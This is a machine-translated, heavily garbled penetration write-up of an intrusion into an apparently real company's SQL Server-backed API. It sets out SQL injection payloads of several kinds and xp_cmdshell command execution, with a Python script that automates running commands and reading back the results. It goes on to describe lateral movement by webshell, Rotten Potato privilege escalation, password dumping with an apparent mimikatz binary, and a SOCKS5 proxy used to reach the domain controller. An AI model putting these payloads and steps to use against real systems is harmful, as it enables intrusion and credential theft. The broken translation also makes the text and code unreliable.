0x00の序文
パンチスルーできる限りあまりにもトップではないインターネット企業は、一般的に低い境界の後に行くようにどのようなこれらの国内の金融セクターやまとめ。そして、この方法に深すぎネットワークよりも実質的に少ないです。
0x01の浸透過程
まず、エントリの注入点
WebサービスHTTPへ://xx.xx.xx.xx:10805は、ポートオープンAPIサービスのAPI検査として見つけたときを検出し、続いて注入ポイントの複数の発見しましたマルチ文が実行され、労働組合の共同注入、ブラインドなどで、xp_cmdshellをコマンドの実行を回すことができるなど、マイクロソフトのSQL Server 2008にエンドデータベース、。
1.注入点の位置
の種類:ブールベースのブラインド
タイトル:ブラインドブールベース- WHERE句またはHAVING
ペイロード:HTTP://xx.xx.xx.xx:10805 / API /テストGETUSERユーザ名は=「AND 6797 =? AND 6797 'TaoV' =「パスワード= 123456 && TaoV
ベクター:AND [推論]
タイプ:積み重ねられたクエリの
タイトル:Microsoft SQL Serverの/ Sybaseがクエリ(コメント)積み重ねられ
ます。http:ペイロードを//xx.xx.xx.xx:10805 / API / GETUSERのuserName =テスト'; WAITFOR DELAY 0:?0:5' - &&パスワード= 123456
ベクター; IF([推論])WAITFOR DELAY '0:0:[SLEEPTIME]' -
タイプ:時間ベースのブラインド
タイトル:Microsoft SQL Serverの/ Sybaseの時間ベースのブラインド(IF -コメント)
ペイロードます:http://xx.xx.xx.xx:10805 / API / GETUSERのuserName =テスト'WAITFOR DELAY' 0? :0:5' - &&パスワード= 123456
ベクター:IF([推論])WAITFOR DELAY '0:0:[SLEEPTIME]' -
タイプ:UNIONクエリ
タイトル:一般的なUNIONクエリ(NULL) - 9列の
ペイロードます:http://xx.xx.xx.xx:10805 / API / PersonWorkNoteStatisticsList / PersonWorkNoteStatisticsList ID =&pageIndexパラメータ= 1&のStartTime =&終了時間=&日=&ユーザー名=%? E9%82%93%E5%8B%87%」UNION ALL SELECTのNULL、NULL、NULL、NULL、NULL、CHAR(113)+ CHAR(98)+ CHAR(112)+ CHAR(98)+ CHAR(113) + CHAR(77)+ CHAR(109)+ CHAR(113)+ CHAR(66)+ CHAR(114)+ CHAR(100)+ CHAR(79)+ CHAR(66)+ CHAR(118)+ CHAR(110) + CHAR(116)+ CHAR(85)+ CHAR(104)+ CHAR(88)+ CHAR(106)+ CHAR(69)+ CHAR(106)+ CHAR(87)+ CHAR(101)+ CHAR(101) + CHAR(87)+ CHAR(122)+ CHAR(77)+ CHAR(122)+ CHAR(78)+ CHAR(83)+ CHAR(107)+ CHAR(97)+ CHAR(98)+ CHAR(103) + CHAR(71)+ CHAR(101)+ CHAR(79)+ CHAR(67)+ CHAR(115)+ CHAR(99)+ CHAR(81)+ CHAR(80)+ CHAR(108)+ CHAR(84) + CHAR(113)+ CHAR(112)+ CHAR(98)+ CHAR(98)+ CHAR(113)、NULL、NULL、NULL-- -
ベクター:UNION ALL SELECT NULL、NULL、NULL、NULL、NULL、[QUERY]、NULL、NULL、NULL
2.可访问的数据库
[*] ASPNETDB
[*] CVSellReportExamineAPP
[*] DNT
[*] LQCVSalesTrain
[*]マスター
[*]モデル
[*] MSDB
[*]レポートサーバー
[*] ReportServerTempDB
[*] SellReportExamine
[*] SharePoint_AdminContent_f3b5574b -cf4d-40a4-9d10-b67d0eb3a172
[*] SharePoint_Config
[*] tempdbの
[*]試験
[*] WSS_Content_10016
[*] WSS_Content_10017
[*] WSS_Content_8005_1
[*] WSS_Content_8006
3.使用して実行しますxp_cmdshellを
まずステートメントは、実行の結果を一時テーブルに書き込まれ、実行:
?。= / API / PersonWorkNoteStatisticsList / PersonWorkNoteStatisticsList ID =&pageIndexパラメータを1&のStartTime =&終了時間=&日=&UserNameの1%25「%3bdelete +を=から。 + LQCVSalesTrain.dbo.sqlmapoutput%3binsert + + LQCVSalesTrain.dbo.sqlmapoutputに (データ)+幹部+ master..xp_cmdshell + 'WHOAMI' %3B - + -
関節クエリ注入を介してコマンドの結果、取得したIDを開始します
/ API / PersonWorkNoteStatisticsList / PersonWorkNoteStatisticsList?ID =&pageIndexパラメータ + 1つの+ NULL = 1&のStartTime =&終了時間=&日=&ユーザー名= 1%25「+ UNION + ALL + SELECT +トップ、NULL、NULL、NULL、NULL、CHAR(113)%2bCHAR(98) %2bCHAR(112)%2bCHAR( 98)%2bCHAR(113)%2bISNULL(CAST((ID)+ AS + NVARCHAR(4000))、CHAR(32))%2bCHAR(113)%2bCHAR(112)%2bCHAR( 98)%2bCHAR(98)% 2bCHAR(113)、NULL、NULL、NULL + + LQCVSalesTrain.dbo.sqlmapoutput FROM - 「 - +
関節クエリを介して注入された行の数、結果取得コマンド:
/ API / PersonWorkNoteStatisticsList / PersonWorkNoteStatisticsList?ID =&pageIndexパラメータ= 1&のStartTime =&終了時間=&日=&ユーザー名= 1%25「+ UNION + ALL + SELECT +トップ+ 1 + NULL、NULL、NULL、NULL、NULL、CHAR(113)%2bCHAR (98)%2bCHAR(112) %2bCHAR(98)%2bCHAR(113)%2bISNULL(CAST(カウント(ID)+ AS + NVARCHAR(4000))、CHAR(32))%2bCHAR(113)%2bCHAR(112 )%2bCHAR(98)%2bCHAR (98 + LQCVSalesTrain.dbo.sqlmapoutput FROM)%2bCHAR(113)、NULL、NULL、NULL + - + -
再度各行、実行結果関節クエリ注入点を通過することにより、高速読み出し実装の結果を取ります:
/ API / PersonWorkNoteStatisticsList / PersonWorkNoteStatisticsList?ID =&pageIndexパラメータ= 1&のStartTime =&終了時間=&日=&ユーザー名= 1%25' + UNION + ALL + SELECT + NULL、NULL、NULL、NULL、NULL、CHAR(113)%2bCHAR(98)% 2bCHAR(112)%2bCHAR(98)%2bCHAR(113)%2bISNULL(CAST((データ)+ AS + NVARCHAR(4000))、CHAR(32))%2bCHAR(113)%2bCHAR(112)%2bCHAR(98 )%2bCHAR(98)%2bCHAR(113)、NULL、NULL、+識別%の3D ______-- + + LQCVSalesTrain.dbo.sqlmapoutput + FROM NULL + - 」
エコーSQLMAPを軽蔑、私自身は、Pythonでスクリプトを書きました
インポート要求、再、SYS ヘッダ= { '受け入れる': '* / *'、 '起源': 'ファイル://'、 'ユーザーエージェント':「のMozilla / 5.0(Linuxでは、Androidの4.4.2、ネクサスビルド/ KOT49H)のAppleWebKit / 537.36(KHTMLは、Geckoの)バージョン/ 4.0クローム/ 30.0.0.0モバイルサファリ/ 537.36'のように、 '言語を受け入れ': 'EN-US ZH-CN、; Q = 0.8'、 「X-要求-with ': ''、io.cordova.CVAPP } !もしlenは(sys.argvの)= 2: プリント(' this.py CMD ') sys.exit(0) URL =「のhttp://xx.xx。 XX.XX:10805" CMD = 'ネットユーザーの CMD = sys.argvの[1] 印刷(' ---------------- CMD ---------- ----------- ') プリント(CMD) 印刷('------------------------------------------ ') ペイロード= "/ API / PersonWorkNoteStatisticsList / PersonWorkNoteStatisticsListか?ID =&pageIndexパラメータ= 1&のStartTime =&終了時間=&日=&ユーザー名=" + LQCVSalesTrain.dbo.sqlmapoutputに+ LQCVSalesTrain.dbo.sqlmapoutput%3binsert +からペイロード+ =「1%25' %3bdelete + (データ)+幹部+ master..xp_cmdshell + '_____' %3B - + - 」 ペイロード= payload.replace( '_____'、cmd.replace(」」、 '+')) RSP = requests.post(URL +ペイロード、ヘッダ=ヘッダ) 、ペイロード= "/ API / PersonWorkNoteStatisticsList / PersonWorkNoteStatisticsList?ID =&pageIndexパラメータ= 1&のStartTime =&終了時間=&日=&ユーザー名=" 、ペイロード+ =「1%25' + UNION + ALL + SELECT +トップ+ 1 + NULL、NULL、NULL、NULL、NULL、CHAR(113)%2bCHAR(98)%2bCHAR(112)%2bCHAR (98)%2bCHAR(113)%2bISNULL(CAST((ID)+ AS + NVARCHAR(4000))、CHAR(32))%2bCHAR(113)%2bCHAR(112)%2bCHAR(98)%2bCHAR(98) %2bCHAR(113)+ LQCVSalesTrain.dbo.sqlmapoutput FROM、NULL、NULL、NULL + - + - 」 RSP = requests.post(URL +ペイロードヘッダー=ヘッダ) M = re.search( 'qbpbq(\ D +)qpbbq'、rsp.text 、re.M) メートルの場合: headid = INT(m.groupは、(1)) 、印刷( 'ResutlのヘッドID:%D' %のheadid) 他: プリント( 'ヘッドIDを取得することはできません') プリント(RSP。テキスト) sys.exit() ペイロード= "/ API / PersonWorkNoteStatisticsList / PersonWorkNoteStatisticsList?ID =&pageIndexパラメータ= 1&のStartTime =&終了時間=&日=&ユーザー名=" ペイロード+ =「1%25' + UNION + ALL + SELECT +上面+ 1つの+ NULL、NULL、NULL、NULL、NULL、CHAR(113)%2bCHAR(98)%2bCHAR(112)%2bCHAR(98)%2bCHAR( 113)%2bISNULL(CAST(カウント(ID)+ AS + NVARCHAR(4000))、CHAR(32))%2bCHAR(113)%2bCHAR(112)%2bCHAR(98)%2bCHAR(98)%2bCHAR(113) 、NULL、NULL、NULL + + LQCVSalesTrain.dbo.sqlmapoutput FROM - + - 」 RSP = requests.post(URL +ペイロード、ヘッダ=ヘッダ) M = re.search( 'qbpbq(\ D +)qpbbq'、RSP。テキスト、re.M) メートルの場合: 行= INT(m.group(1)) 、印刷( 'Resutlの行:%dの' %行) 他: の範囲内のiについて(headid、headid +行): ?ペイロード=「/ API / PersonWorkNoteStatisticsList / PersonWorkNoteStatisticsList ID =&pageIndexパラメータ= 1&StartTime =&終了時間=&日=&ユーザー名=」 印刷( '行を取得することはできません') プリント(rsp.text) sys.exit() ペイロード+ =「1%25' + UNION ALL + + SELECT + NULL、NULL、NULL、NULL、NULL、CHAR(113)%2bCHAR %2bCHAR(113)%2bCHAR(112)(+ NVARCHAR(4000))、CHAR(32)AS CAST((データ)+)(98)%2bCHAR(112)%2bCHAR(98)%2bCHAR(113)%2bISNULL 「 - ______-- + + LQCVSalesTrain.dbo.sqlmapoutput +場所+識別%の3D FROM%2bCHAR(98)%2bCHAR(98)%2bCHAR(113)、NULL、NULL、NULL + ペイロード= payload.replace( '______'、 STR(i))を RSP = requests.post(URL +ペイロード、ヘッダ=ヘッダ) M = re.search( 'qbpbq(+。?)qpbbq'、rsp.text、re.M) Mの場合: プリント(M。グループ(1)) 他: プリント( ' - ' * 30) 印刷( '読み取りデータエラー、ID:%D' %I)
セクションは実行されます。
0x02の、横方向の動き
上記の情報を収集することにより、それが発見されたウェブとデータベースライブラリ別のステーション、より大きな権限データベースを直接することができIPC 動作磁界制御とウェブサーバー。データベースサーバと、ドメインコントローラは、操作を容易にするために、外部のネットワークと通信することができないので、第1貫通 IPC 書かれたウェブシェルをするウェブ以下のように、サーバ。
1. 取得したWeb サーバー(172.15.1.135 )権利を
設立 IPC 後:
ビュー IIS の設定ファイルは、見つかった2 ネットワークの外部Geがアクセスできるウェブの物理的な場所の\電車:dは:
することによりエコーリモートに書き込まウェブシェル:
オリジナルのウェブシェルを削除するには、馬のスケートをアップロードします。RID名とパスワードを取得しようとサソリ氷の馬に注意し、WAFは、名前とパスワードを検出します。腐ったジャガイモと権利について発生します。彼はパスワードをつかまえました。
C:/temp/log1.exe -p「にwhoami」
逮捕されたパスワード
C:/temp/log1.exe -p「C:/temp/mz64.exe」
NPSが出てSOCKS5プロキシ、ログオンドメインコントローラを作ったと。浸透終了。